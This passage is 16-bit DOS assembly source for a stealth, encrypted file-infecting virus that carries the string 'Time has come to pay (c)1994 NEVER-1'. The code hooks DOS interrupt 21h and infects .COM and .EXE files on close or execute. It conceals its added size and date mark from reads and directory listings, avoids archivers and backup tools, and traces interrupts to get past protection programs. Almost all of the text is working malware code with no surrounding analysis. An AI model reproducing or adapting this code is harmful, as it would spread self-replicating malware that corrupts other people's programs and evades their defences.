jnc date_check
|
||
|
date_err: jmp jump_21
|
||
|
|
||
|
date_check: cmp dh,years ; infected?
|
||
|
jb date_ok
|
||
|
sub dh,years
|
||
|
date_ok: clc
|
||
|
call save_returns ; save ax/flags
|
||
|
mov ss:[bp.reg_cx],cx
|
||
|
mov ss:[bp.reg_dx],dx ; save time/date
|
||
|
jmp retf_21
|
||
|
|
||
|
is_read: cmp ah,3fh ; reading file?
|
||
|
je do_read
|
||
|
no_read: jmp is_write
|
||
|
|
||
|
do_read: call get_dcb ; get DCB address
|
||
|
jbe no_read
|
||
|
call is_specialfile
|
||
|
je no_read
|
||
|
les ax,ds:[di.dcb_size] ; get size of file
|
||
|
mov bx,es
|
||
|
les dx,ds:[di.dcb_pos] ; get current position
|
||
|
mov si,es
|
||
|
and cs:read_bytes,0
|
||
|
or si,si ; in 1st 64k?
|
||
|
jnz read_high
|
||
|
cmp dx,18h ; reading header?
|
||
|
jnb read_high
|
||
|
push cx
|
||
|
add cx,dx
|
||
|
cmc
|
||
|
jnc read_above
|
||
|
cmp cx,18h ; read goes above header?
|
||
|
read_above: pop cx
|
||
|
jb read_below
|
||
|
mov cx,18h
|
||
|
sub cx,dx
|
||
|
read_below: push ax bx ; save size
|
||
|
push dx ; position
|
||
|
sub dx,18h
|
||
|
add ax,dx ; get position in header
|
||
|
cmc
|
||
|
sbb bx,si
|
||
|
xchg word ptr ds:[di.dcb_pos],ax
|
||
|
xchg word ptr ds:[di.dcb_pos+2],bx ; lseek to header
|
||
|
push ax bx
|
||
|
push ds
|
||
|
mov ah,3fh
|
||
|
mov dx,ss:[bp.reg_dx]
|
||
|
mov ds,ss:[bp.reg_ds]
|
||
|
call call_21_file ; read file
|
||
|
pop ds
|
||
|
pop word ptr ds:[di.dcb_pos+2]
|
||
|
pop word ptr ds:[di.dcb_pos]
|
||
|
pop dx
|
||
|
pushf
|
||
|
add dx,ax ; adjust position
|
||
|
add cs:read_bytes,ax ; remember # of bytes read
|
||
|
popf
|
||
|
pop bx ax
|
||
|
jnc read_high
|
||
|
jmp jump_21
|
||
|
|
||
|
read_high: mov word ptr ds:[di.dcb_pos],dx ; update position
|
||
|
mov word ptr ds:[di.dcb_pos+2],si
|
||
|
mov cx,ss:[bp.reg_cx] ; number of bytes to read
|
||
|
sub cx,cs:read_bytes
|
||
|
sub ax,file_size
|
||
|
sbb bx,0 ; get original size
|
||
|
push ax bx
|
||
|
sub ax,dx
|
||
|
sbb bx,si ; in virus now?
|
||
|
pop bx ax
|
||
|
jnc read_into
|
||
|
xor cx,cx ; read 0 bytes
|
||
|
jmp read_fake
|
||
|
|
||
|
read_into: add dx,cx
|
||
|
adc si,0 ; get position after read
|
||
|
cmp bx,si ; read extends into virus?
|
||
|
ja read_fake
|
||
|
jb read_adjust
|
||
|
cmp ax,dx
|
||
|
jnb read_fake
|
||
|
read_adjust: sub dx,cx ; get position again
|
||
|
xchg cx,ax
|
||
|
sub cx,dx ; # of bytes to read = Original size - Pos
|
||
|
read_fake: mov ah,3fh
|
||
|
mov dx,ss:[bp.reg_dx]
|
||
|
add dx,cs:read_bytes
|
||
|
mov ds,ss:[bp.reg_ds]
|
||
|
call call_21_file ; read file
|
||
|
jc read_exit
|
||
|
add ax,0
|
||
|
read_bytes = word ptr $ - 2
|
||
|
clc
|
||
|
read_exit: call save_returns
|
||
|
jmp retf_21
|
||
|
|
||
|
|
||
|
is_write: cmp ah,40h ; write?
|
||
|
je do_write
|
||
|
no_write: jmp is_infect
|
||
|
|
||
|
do_write: call get_dcb
|
||
|
jbe no_write
|
||
|
les ax,ds:[di.dcb_size] ; get file size
|
||
|
mov bx,es
|
||
|
sub ax,18h
|
||
|
sbb bx,0 ; get header position
|
||
|
xchg ax,word ptr ds:[di.dcb_pos]
|
||
|
xchg bx,word ptr ds:[di.dcb_pos+2] ; lseek to header
|
||
|
push ax bx
|
||
|
mov ax,2
|
||
|
xchg ax,ds:[di.dcb_mode] ; read/write mode
|
||
|
push ax
|
||
|
push ds cs
|
||
|
pop ds es
|
||
|
call read_header ; read 18h bytes
|
||
|
pop es:[di.dcb_mode] ; restore access mode
|
||
|
jc write_rest_pos
|
||
|
mov word ptr es:[di.dcb_pos],ax
|
||
|
mov word ptr es:[di.dcb_pos+2],ax ; lseek to start
|
||
|
call write_header ; write old header
|
||
|
jc write_rest_pos
|
||
|
push es
|
||
|
pop ds
|
||
|
sub word ptr ds:[di.dcb_size],file_size
|
||
|
sbb word ptr ds:[di.dcb_size+2],ax ; truncate at virus
|
||
|
sub byte ptr ds:[di.dcb_date+1],years ; remove 100 years
|
||
|
write_rest_pos: pop word ptr es:[di.dcb_pos+2]
|
||
|
pop word ptr es:[di.dcb_pos]
|
||
|
jmp jump_21
|
||
|
|
||
|
|
||
|
is_infect: cmp ah,3eh ; Close?
|
||
|
je infect_3e
|
||
|
cmp ax,4b00h ; Execute?
|
||
|
je infect_4b
|
||
|
jmp jump_21
|
||
|
|
||
|
infect_4b: mov ax,3d00h ; Open file
|
||
|
cmp ax,0
|
||
|
org $ - 2
|
||
|
infect_3e: mov ah,45h ; Duplicate handle
|
||
|
call int_2_bios ; lock out protection programs
|
||
|
call call_21_file ; get handle
|
||
|
mov cs:handle,ax
|
||
|
mov ax,4408h
|
||
|
cwd
|
||
|
jc undo_bios
|
||
|
call get_dcb ; get DCB for handle
|
||
|
jb cant_infect
|
||
|
jne cant_infect ; error/already infected
|
||
|
mov bl,00111111b
|
||
|
and bl,byte ptr ds:[di.dcb_dev_attr] ; get drive code
|
||
|
mov dl,bl ; DX=00**
|
||
|
inc bx ; 0=default,1=a,2=b,3=c,etc.
|
||
|
call call_21 ; drive removable?
|
||
|
mov cx,1h
|
||
|
push cs
|
||
|
pop es
|
||
|
jc test_prot_drive
|
||
|
dec ax ; 1=non-removable
|
||
|
jz no_protect
|
||
|
jmp test_protect
|
||
|
|
||
|
test_prot_drive:cmp dl,1 ; A or B?
|
||
|
ja no_protect
|
||
|
test_protect: mov ax,201h
|
||
|
mov bx,offset disk_buff
|
||
|
int 13h ; read sector
|
||
|
jc cant_infect
|
||
|
mov ax,301h
|
||
|
int 13h ; write it back
|
||
|
jc cant_infect
|
||
|
no_protect: inc cx ; CX=2
|
||
|
xchg cx,ds:[di.dcb_mode] ; read/write access mode
|
||
|
push cx
|
||
|
xor ax,ax
|
||
|
xchg ah,ds:[di.dcb_attr] ; attribute=0
|
||
|
test ah,00000100b ; system file?
|
||
|
push ax
|
||
|
jne cant_system
|
||
|
cbw
|
||
|
cwd
|
||
|
xchg ax,word ptr ds:[di.dcb_pos]
|
||
|
xchg dx,word ptr ds:[di.dcb_pos+2] ; lseek to 0
|
||
|
push ax dx
|
||
|
mov bp,-'OC'
|
||
|
add bp,word ptr ds:[di.dcb_ext] ; BP=0 of CO
|
||
|
jnz not_com
|
||
|
mov bp,-'MO'
|
||
|
add bp,word ptr ds:[di.dcb_ext+1] ; BP=0 if OM
|
||
|
not_com: call infect
|
||
|
pushf
|
||
|
call get_dcb
|
||
|
popf
|
||
|
jc not_infected
|
||
|
add byte ptr ds:[di.dcb_date+1],years ; add 100 years
|
||
|
not_infected: or byte ptr ds:[di.dcb_dev_attr+1],40h ; no time/date
|
||
|
pop word ptr ds:[di.dcb_pos+2]
|
||
|
pop word ptr ds:[di.dcb_pos]
|
||
|
cant_system: pop word ptr ds:[di.dcb_attr-1] ; restore attribute
|
||
|
pop ds:[di.dcb_mode] ; restore access mode
|
||
|
cant_infect: mov ah,3eh
|
||
|
call call_21_file ; close file
|
||
|
undo_bios: call int_2_bios ; restore interrupts
|
||
|
|
||
|
;=====( Jump on to int 21h )=================================================;
|
||
|
|
||
|
jump_21: call undo_24 ; unhook int 24h
|
||
|
push cs
|
||
|
pop ds
|
||
|
mov al,1h
|
||
|
mov di,offset int_1
|
||
|
cmp byte ptr ds:[di+origin-int_1],al ; file origin?
|
||
|
jne jump_21_1
|
||
|
call get_int ; get int 1h address
|
||
|
mov ds:[di],bx
|
||
|
mov ds:[di + 2],es
|
||
|
mov byte ptr ds:[di+inst_count-int_1],5
|
||
|
mov ds:trace_mode,step_21
|
||
|
mov dx,offset tracer
|
||
|
call set_int ; hook int 1h
|
||
|
call pop_all
|
||
|
push si
|
||
|
pushf
|
||
|
pop si
|
||
|
call si_tf ; set TF
|
||
|
pop si
|
||
|
go_21: cli
|
||
|
mov ss,cs:int_21_ss
|
||
|
mov sp,cs:int_21_sp ; restore stack
|
||
|
sti
|
||
|
go_2_21: jmp cs:int_21
|
||
|
|
||
|
jump_21_1: call pop_all
|
||
|
jmp go_21
|
||
|
|
||
|
;=====( actual infection routine )===========================================;
|
||
|
|
||
|
infect: push cs
|
||
|
pop ds
|
||
|
call read_header ; read first 18h bytes
|
||
|
jc inf_bad_file
|
||
|
mov si,dx
|
||
|
mov di,offset work_header
|
||
|
cld
|
||
|
rep movsb ; copy header to work_header
|
||
|
call get_dcb
|
||
|
les ax,ds:[di.dcb_size] ; get file size
|
||
|
mov dx,es
|
||
|
mov word ptr ds:[di.dcb_pos],ax
|
||
|
mov word ptr ds:[di.dcb_pos+2],dx ; lseek to end
|
||
|
push cs cs
|
||
|
pop es ds
|
||
|
mov cx,ds:[si] ; get first 2 bytes
|
||
|
cmp cx,'MZ' ; .EXE file?
|
||
|
je inf_exe
|
||
|
cmp cx,'ZM' ; .EXE file?
|
||
|
je inf_exe
|
||
|
or dx,bp ; COM file and < 64k?
|
||
|
jnz inf_bad_file
|
||
|
cmp ax,0-(file_size+100)
|
||
|
ja inf_bad_file
|
||
|
cmp ax,1000
|
||
|
jb inf_bad_file
|
||
|
mov byte ptr ds:[si],0e9h ; build jump
|
||
|
inc ah ; Add PSP size (100h)
|
||
|
push ax ; save IP for engine
|
||
|
add ax,offset decrypt-103h ; get jump disp. (- PSP size)
|
||
|
mov ds:[si+1],ax
|
||
|
jmp append_vir
|
||
|
|
||
|
inf_bad_file: stc
|
||
|
retn
|
||
|
|
||
|
inf_exe: cmp word ptr ds:[si.eh_max_mem],-1
|
||
|
jne inf_bad_file
|
||
|
mov bp,ax
|
||
|
mov di,dx ; save size in DI:BP
|
||
|
mov cx,200h
|
||
|
div cx ; divide into pages
|
||
|
or dx,dx ; Any remainder?
|
||
|
jz no_round
|
||
|
inc ax
|
||
|
no_round: sub ax,ds:[si.eh_size] ; size same as header says?
|
||
|
jne inf_bad_file
|
||
|
sub dx,ds:[si.eh_modulo]
|
||
|
jne inf_bad_file
|
||
|
mov ax,file_size ; virus size
|
||
|
add ax,bp
|
||
|
adc dx,di ; + program size
|
||
|
div cx ; / 512
|
||
|
or dx,dx ; round up?
|
||
|
jz no_round1
|
||
|
inc ax
|
||
|
no_round1: mov ds:[si.eh_size],ax
|
||
|
mov ds:[si.eh_modulo],dx ; set new size
|
||
|
mov bx,0-(file_size+1000)
|
||
|
xor cx,cx
|
||
|
get_exe_ip: cmp bp,bx ; make sure virus does not
|
||
|
; cross segments
|
||
|
jb got_exe_ip
|
||
|
sub bp,10h ; down 10h bytes
|
||
|
loop get_exe_ip ; up 1 paragraph
|
||
|
got_exe_ip: cmp di,0fh
|
||
|
ja inf_bad_file
|
||
|
xchg cx,ax
|
||
|
mov cl,4
|
||
|
ror di,cl ; get segment displacement
|
||
|
or ax,ax
|
||
|
jz no_para_add
|
||
|
sub di,ax ; Add segments from LOOP
|
||
|
jnc inf_bad_file
|
||
|
no_para_add: sub di,ds:[si.eh_size_header] ; CS-header size in
|
||
|
; paragraphs
|
||
|
push bp ; save offset of v_start
|
||
|
add bp,decrypt-v_start
|
||
|
mov ds:[si.eh_ip],bp ; set IP
|
||
|
mov ds:[si.eh_cs],di ; set CS
|
||
|
add bp,512 ; 512 bytes of stack
|
||
|
mov ds:[si.eh_sp],bp ; set SP
|
||
|
mov ds:[si.eh_ss],di ; set SS
|
||
|
mov bp,8000h ; Tell engine "Exe file"
|
||
|
sar bx,cl ; 0 - ((file_size+1000h)/16)
|
||
|
mov ax,ds:[si.eh_min_mem]
|
||
|
sub ax,bx ; add file_size+1000h/16
|
||
|
jnb append_vir
|
||
|
mov ds:[si.eh_min_mem],ax
|
||
|
|
||
|
append_vir: pop ax
|
||
|
call engine ; encrypt/write/decrypt
|
||
|
push bp
|
||
|
popf
|
||
|
jc append_vir_err
|
||
|
call get_dcb
|
||
|
mov word ptr ds:[di.dcb_pos],cx
|
||
|
mov word ptr ds:[di.dcb_pos+2],cx ; lseek to start
|
||
|
mov ah,40h
|
||
|
mov dx,offset work_header
|
||
|
push cs
|
||
|
pop ds
|
||
|
call header_op ; write new header to file
|
||
|
append_vir_err: retn
|
||
|
|
||
|
;=====( Get DCB address for file )===========================================;
|
||
|
|
||
|
get_dcb: push ax bx
|
||
|
mov ax,1220h
|
||
|
mov bx,cs:handle ; get file handle
|
||
|
int 2fh ; get DCB number address
|
||
|
jc get_dcb_fail
|
||
|
mov ax,1216h
|
||
|
mov bl,es:[di] ; get DCB number
|
||
|
cmp bl,-1 ; Handle Openned?
|
||
|
cmc
|
||
|
je get_dcb_fail
|
||
|
int 2fh ; get DCB address
|
||
|
jc get_dcb_fail
|
||
|
push es
|
||
|
pop ds
|
||
|
test byte ptr ds:[di.dcb_dev_attr],80h ; device or file?
|
||
|
cmc
|
||
|
jne get_dcb_fail
|
||
|
test byte ptr ds:[di.dcb_date+1],80h ; infected?
|
||
|
get_dcb_fail: pop bx ax
|
||
|
retn
|
||
|
|
||
|
;=====( Swap original 13h/15h/40h addresses with IVT addresses )=============;
|
||
|
|
||
|
int_2_bios: push ax bx dx ds
|
||
|
mov al,13h ; int 13h
|
||
|
mov di,offset int_13
|
||
|
int_2_bios_lp: push cs
|
||
|
pop ds
|
||
|
call get_int ; get int address
|
||
|
mov dx,es
|
||
|
xchg bx,ds:[di] ; swap offsets
|
||
|
cld
|
||
|
scasw
|
||
|
xchg dx,bx
|
||
|
xchg bx,ds:[di] ; swap segments
|
||
|
scasw
|
||
|
mov ds,bx ; DS:DX=new address
|
||
|
call set_int ; set int to DS:DX
|
||
|
cmp al,15h
|
||
|
mov al,15h
|
||
|
jnb int_2_bios_40 ; CY AL=13h
|
||
|
add di,4
|
||
|
jmp int_2_bios_lp
|
||
|
|
||
|
int_2_bios_40: mov al,40h
|
||
|
je int_2_bios_lp ; ZR AL=15h else AL=40h, exit
|
||
|
pop ds dx bx ax
|
||
|
retn
|
||
|
|
||
|
;=====( Read/write header to file )==========================================;
|
||
|
|
||
|
read_header: mov ah,3fh
|
||
|
cmp ax,0
|
||
|
org $ - 2
|
||
|
write_header: mov ah,40h
|
||
|
mov dx,offset header
|
||
|
header_op: mov cx,18h
|
||
|
call call_21_file ; read/write header
|
||
|
jc read_write_err
|
||
|
sub ax,cx
|
||
|
read_write_err: retn
|
||
|
|
||
|
;=====( Unhook int 24h )=====================================================;
|
||
|
|
||
|
undo_24: mov al,24h
|
||
|
lds dx,cs:int_24
|
||
|
call set_int ; unhook int 24h
|
||
|
in al,21h
|
||
|
and al,not 2 ; enable keyboard
|
||
|
out 21h,al
|
||
|
retn
|
||
|
|
||
|
;=====( Save returns after int 21h call )====================================;
|
||
|
|
||
|
save_returns: mov ss:[bp.reg_ax],ax
|
||
|
pushf
|
||
|
pop ss:[bp.reg_f]
|
||
|
retn
|
||
|
|
||
|
;=====( Return ZF set if ARJ, PKZIP, LHA or MODEM )==========================;
|
||
|
|
||
|
is_specialfile: push ax cx si di es
|
||
|
mov al,0
|
||
|
check_special = byte ptr $ - 1
|
||
|
or al,al ; Check for special?
|
||
|
jnz it_is_special
|
||
|
call get_psp ; get MCB of current PSP
|
||
|
mov ax,es:[di] ; get 1st 2 letters of name
|
||
|
cmp ax,'RA' ; ARj?
|
||
|
je it_is_special
|
||
|
cmp ax,'HL' ; LHa?
|
||
|
je it_is_special
|
||
|
cmp ax,'KP' ; PKzip?
|
||
|
je it_is_special
|
||
|
mov cx,2
|
||
|
mov si,offset backup
|
||
|
is_it_mod_bak: push cx di
|
||
|
mov cl,8
|
||
|
lods byte ptr cs:[si] ; get 'B' or 'M'
|
||
|
xor al,66h + 6h ; decrypt
|
||
|
repne scasb
|
||
|
jne is_it_mod
|
||
|
cmp cl,3
|
||
|
jb is_it_mod
|
||
|
mov cl,4
|
||
|
is_ode_ack: lods byte ptr cs:[si]
|
||
|
xor al,66h + 6h
|
||
|
jz is_it_mod ; 0 (done)?
|
||
|
scasb
|
||
|
loope is_ode_ack
|
||
|
is_it_mod: mov si,offset modem
|
||
|
pop di cx
|
||
|
loopne is_it_mod_bak
|
||
|
it_is_special: pop es di si cx ax
|
||
|
retn
|
||
|
|
||
|
backup: db 'B' xor (66h + 6h)
|
||
|
db 'A' xor (66h + 6h)
|
||
|
db 'C' xor (66h + 6h)
|
||
|
db 'K' xor (66h + 6h)
|
||
|
db 0 xor (66h + 6h)
|
||
|
|
||
|
modem: db 'M' xor (66h + 6h)
|
||
|
db 'O' xor (66h + 6h)
|
||
|
db 'D' xor (66h + 6h)
|
||
|
db 'E' xor (66h + 6h)
|
||
|
db 'M' xor (66h + 6h)
|
||
|
|
||
|
|
||
|
;=====( get current PSP segment )============================================;
|
||
|
|
||
|
get_psp: push ax bx
|
||
|
mov ah,62h
|
||
|
call call_21 ; get PSP segment
|
||
|
dec bx
|
||
|
mov es,bx ; MCB of current program
|
||
|
mov di,8h ; offset of file name
|
||
|
cld
|
||
|
pop bx ax
|
||
|
retn
|
||
|
|
||
|
;=====( Get DTA address )====================================================;
|
||
|
|
||
|
get_dta: mov ah,2fh
|
||
|
call call_21 ; DTA address into ES:BX
|
||
|
push es
|
||
|
pop ds
|
||
|
retn
|
||
|
|
||
|
call_dos_13: call swap_13
|
||
|
pushf
|
||
|
call cs:dos_13
|
||
|
call swap_13
|
||
|
retn
|
||
|
|
||
|
call_disk: test dl,80h ; ZF -> Floppy disk (int 40h)
|
||
|
je call_40
|
||
|
|
||
|
call_13: pushf
|
||
|
call cs:int_13
|
||
|
retn
|
||
|
|
||
|
call_21_file: mov bx,0
|
||
|
handle = word ptr $ - 2
|
||
|
|
||
|
call_21: pushf
|
||
|
push cs
|
||
|
call go_2_21
|
||
|
retn
|
||
|
|
||
|
call_40: pushf
|
||
|
call cs:int_40
|
||
|
retn
|
||
|
|
||
|
include eng.asm
|
||
|
|
||
|
db "Time has come to pay (c)1994 NEVER-1",0
|
||
|
|
||
|
even
|
||
|
|
||
|
decrypt: mov word ptr ds:[100h],1f0eh ; PUSH CS/POP DS
|
||
|
mov byte ptr ds:[102h],0e8h ; CALL
|
||
|
jmp file_start
|
||
|
|
||
|
org decrypt + 150
|
||
|
|
||
|
header dw 18h / 2 dup(20cdh)
|
||
|
|
||
|
file_end:
|
||
|
|
||
|
work_header dw 18h / 2 dup(?)
|
||
|
|
||
|
write_buff: db encode_end-encode dup(?)
|
||
|
|
||
|
int_21_ss dw ?
|
||
|
int_21_sp dw ?
|
||
|
|
||
|
dw 256 / 2 dup(?)
|
||
|
temp_stack:
|
||
|
|
||
|
jump_code_13 db 5 dup(?)
|
||
|
jump_code_21 db 5 dup(?)
|
||
|
|
||
|
int_1 dd ?
|
||
|
int_24 dd ?
|
||
|
|
||
|
int_13 dd ?
|
||
|
dos_13 dd ?
|
||
|
int_15 dd ?
|
||
|
int_40 dd ?
|
||
|
int_21 dd ?
|
||
|
|
||
|
new_24: db 3 dup(?)
|
||
|
|
||
|
push_pop_ret dw ?
|
||
|
|
||
|
pointer dw ?
|
||
|
disp dw ?
|
||
|
encode_ptr dw ?
|
||
|
encode_enc_ptr dw ?
|
||
|
|
||
|
key_reg db ?
|
||
|
count_reg db ?
|
||
|
ptr_reg db ?
|
||
|
ptr_reg1 db ?
|
||
|
modify_op db ?
|
||
|
|
||
|
|
||
|
origin db ?
|
||
|
inst_count db ?
|
||
|
|
||
|
disk_buff db 512 dup(?)
|
||
|
|
||
|
v_end:
|
||
|
|
||
|
|
||
|
;=====( Very useful structures )=============================================;
|
||
|
|
||
|
|
||
|
|
||
|
;=====( Memory Control Block structure )=====================================;
|
||
|
|
||
|
mcb struc
|
||
|
mcb_sig db ? ; 'Z' or 'M'
|
||
|
mcb_owner dw ? ; attribute of owner
|
||
|
mcb_size dw ? ; size of mcb block
|
||
|
mcb_name db 8 dup(?) ; file name of owner
|
||
|
mcb ends
|
||
|
|
||
|
|
||
|
;=====( For functions 11h and 12h )==========================================;
|
||
|
|
||
|
|
||
|
Directory STRUC
|
||
|
DS_Drive db ?
|
||
|
DS_Name db 8 dup(0)
|
||
|
DS_Ext db 3 dup(0)
|
||
|
DS_Attr db ?
|
||
|
DS_Reserved db 10 dup(0)
|
||
|
DS_Time dw ?
|
||
|
DS_Date dw ?
|
||
|
DS_Start_Clust dw ?
|
||
|
DS_Size dd ?
|
||
|
Directory ENDS
|
||
|
|
||
|
|
||
|
;=====( for functions 4eh and 4fh )==========================================;
|
||
|
|
||
|
|
||
|
DTA STRUC
|
||
|
DTA_Reserved db 21 dup(0)
|
||
|
DTA_Attr db ?
|
||
|
DTA_Time dw ?
|
||
|
DTA_Date dw ?
|
||
|
DTA_Size dd ?
|
||
|
DTA_Name db 13 dup(0)
|
||
|
DTA ENDS
|
||
|
|
||
|
|
||
|
Exe_Header STRUC
|
||
|
EH_Signature dw ? ; Set to 'MZ' or 'ZM' for .exe files
|
||
|
EH_Modulo dw ? ; remainder of file size/512
|
||
|
EH_Size dw ? ; file size/512
|
||
|
EH_Reloc dw ? ; Number of relocation items
|
||
|
EH_Size_Header dw ? ; Size of header in paragraphs
|
||
|
EH_Min_Mem dw ? ; Minimum paragraphs needed by file
|
||
|
EH_Max_Mem dw ? ; Maximum paragraphs needed by file
|
||
|
EH_SS dw ? ; Stack segment displacement
|
||
|
EH_SP dw ? ; Stack Pointer
|
||
|
EH_Checksum dw ? ; Checksum, not used
|
||
|
EH_IP dw ? ; Instruction Pointer of Exe file
|
||
|
EH_CS dw ? ; Code segment displacement of .exe
|
||
|
eh_1st_reloc dw ? ; first relocation item
|
||
|
eh_ovl dw ? ; overlay number
|
||
|
Exe_Header ENDS
|
||
|
|
||
|
Boot_Sector STRUC
|
||
|
bs_Jump db 3 dup(?)
|
||
|
bs_Oem_Name db 8 dup(?)
|
||
|
bs_Bytes_Per_Sector dw ?
|
||
|
bs_Sectors_Per_Cluster db ?
|
||
|
bs_Reserved_Sectors dw ?
|
||
|
bs_FATs db ? ; Number of FATs
|
||
|
bs_Root_Dir_Entries dw ? ; Max number of root dir entries
|
||
|
bs_Sectors dw ? ; number of sectors; small
|
||
|
bs_Media db ? ; Media descriptor byte
|
||
|
bs_Sectors_Per_FAT dw ?
|
||
|
bs_Sectors_Per_Track dw ?
|
||
|
bs_Heads dw ? ; number of heads
|
||
|
bs_Hidden_Sectors dd ?
|
||
|
bs_Huge_Sectors dd ? ; number of sectors; large
|
||
|
bs_Drive_Number db ?
|
||
|
bs_Reserved db ?
|
||
|
bs_Boot_Signature db ?
|
||
|
bs_Volume_ID dd ?
|
||
|
bs_Volume_Label db 11 dup(?)
|
||
|
bs_File_System_Type db 8 dup(?)
|
||
|
Boot_Sector ENDS
|
||
|
|
||
|
|
||
|
Partition_Table STRUC
|
||
|
pt_Code db 1beh dup(?) ; partition table code
|
||
|
pt_Status db ? ; 0=non-bootable 80h=bootable
|
||
|
pt_Start_Head db ?
|
||
|
pt_Start_Sector_Track dw ?
|
||
|
pt_Type db ? ; 1 = DOS 12bit FAT 4 = DOS 16bit FAT
|
||
|
pt_End_Head db ?
|
||
|
pt_End_Sector_Track dw ?
|
||
|
pt_Starting_Abs_Sector dd ?
|
||
|
pt_Number_Sectors dd ?
|
||
|
Partition_Table ENDS
|
||
|
|
||
|
|
||
|
int_1_stack STRUC
|
||
|
st_ip dw ? ; offset of next instruction after
|
||
|
; interrupt
|
||
|
st_cs dw ? ; segment of next instruction
|
||
|
st_flags dw ? ; flags when interrupt was called
|
||
|
int_1_stack ENDS
|
||
|
|
||
|
;----------------------------------------------------------------------------;
|
||
|
; Dcb description for DOS 3+ ;
|
||
|
; ;
|
||
|
; Offset Size Description ;
|
||
|
; 00h WORD number of file handles referring to this file ;
|
||
|
; 02h WORD file open mode (see AH=3Dh) ;
|
||
|
; bit 15 set if this file opened via FCB ;
|
||
|
; 04h BYTE file attribute ;
|
||
|
; 05h WORD device info word (see AX=4400h) ;
|
||
|
; 07h DWORD pointer to device driver header if character device ;
|
||
|
; else pointer to DOS Drive Parameter Block (see AH=32h) ;
|
||
|
; 0Bh WORD starting cluster of file ;
|
||
|
; 0Dh WORD file time in packed format (see AX=5700h) ;
|
||
|
; 0Fh WORD file date in packed format (see AX=5700h) ;
|
||
|
; 11h DWORD file size ;
|
||
|
; 15h DWORD current offset in file ;
|
||
|
; 19h WORD relative cluster within file of last cluster accessed ;
|
||
|
; 1Bh WORD absolute cluster number of last cluster accessed ;
|
||
|
; 0000h if file never read or written??? ;
|
||
|
; 1Dh WORD number of sector containing directory entry ;
|
||
|
; 1Fh BYTE number of dir entry within sector (byte offset/32) ;
|
||
|
; 20h 11 BYTEs filename in FCB format (no path/period, blank-padded) ;
|
||
|
; 2Bh DWORD (SHARE.EXE) pointer to previous SFT sharing same file ;
|
||
|
; 2Fh WORD (SHARE.EXE) network machine number which opened file ;
|
||
|
; 31h WORD PSP segment of file's owner (see AH=26h) ;
|
||
|
; 33h WORD offset within SHARE.EXE code segment of ;
|
||
|
; sharing record (see below) 0000h = none ;
|
||
|
;----------------------------------------------------------------------------;
|
||
|
|
||
|
|
||
|
|
||
|
dcb struc
|
||
|
dcb_users dw ?
|
||
|
dcb_mode dw ?
|
||
|
dcb_attr db ?
|
||
|
dcb_dev_attr dw ?
|
||
|
dcb_drv_addr dd ?
|
||
|
dcb_1st_clst dw ?
|
||
|
dcb_time dw ?
|
||
|
dcb_date dw ?
|
||
|
dcb_size dd ?
|
||
|
dcb_pos dd ?
|
||
|
dcb_last_clst dw ?
|
||
|
dcb_current_clst dw ?
|
||
|
dcb_dir_sec dw ?
|
||
|
dcb_dir_entry db ?
|
||
|
dcb_name db 8 dup(?)
|
||
|
dcb_ext db 3 dup(?)
|
||
|
dcb_useless1 dw ?
|
||
|
dcb_useless2 dw ?
|
||
|
dcb_useless3 dw ?
|
||
|
dcb_psp_seg dw ?
|
||
|
dcb_useless4 dw ?
|
||
|
dcb ends
|
||
|
|
||
|
bpb STRUC
|
||
|
bpb_Bytes_Per_Sec dw ?
|
||
|
bpb_Sec_Per_Clust db ?
|
||
|
bpb_Reserved_Sectors dw ?
|
||
|
bpb_FATs db ? ; Number of FATs
|
||
|
bpb_Root_Dir_Entries dw ? ; Max number of root dir entries
|
||
|
bpb_Sectors dw ? ; number of sectors; small
|
||
|
bpb_Media db ? ; Media descriptor byte
|
||
|
bpb_Sectors_Per_FAT dw ?
|
||
|
bpb_Sectors_Per_Track dw ?
|
||
|
bpb_Heads dw ? ; number of heads
|
||
|
bpb_Hidden_Sectors dd ?
|
||
|
bpb_Huge_Sectors dd ? ; number of sectors; large
|
||
|
bpb_Drive_Number db ?
|
||
|
bpb_Reserved db ?
|
||
|
bpb_Boot_Signature db ?
|
||
|
bpb_Volume_ID dd ?
|
||
|
bpb_Volume_Label db 11 dup(?)
|
||
|
bpb_File_System_Type db 8 dup(?)
|
||
|
bpb ENDS
|
||
|
|
||
|
|
||
|
register struc
|
||
|
reg_es dw ?
|
||
|
reg_ds dw ?
|
||
|
reg_di dw ?
|
||
|
reg_si dw ?
|
||
|
reg_bp dw ?
|
||
|
reg_dx dw ?
|
||
|
reg_cx dw ?
|
||
|
reg_bx dw ?
|
||
|
reg_ax dw ?
|
||
|
reg_f dw ?
|
||
|
register ends
|
||
|
|
||
|
sys_file struc
|
||
|
sys_next dd ?
|
||
|
sys_strat dw ?
|
||
|
sys_int dw ?
|
||
|
sys_file ends
|
||
|
|
||
|
|
||
|
end
|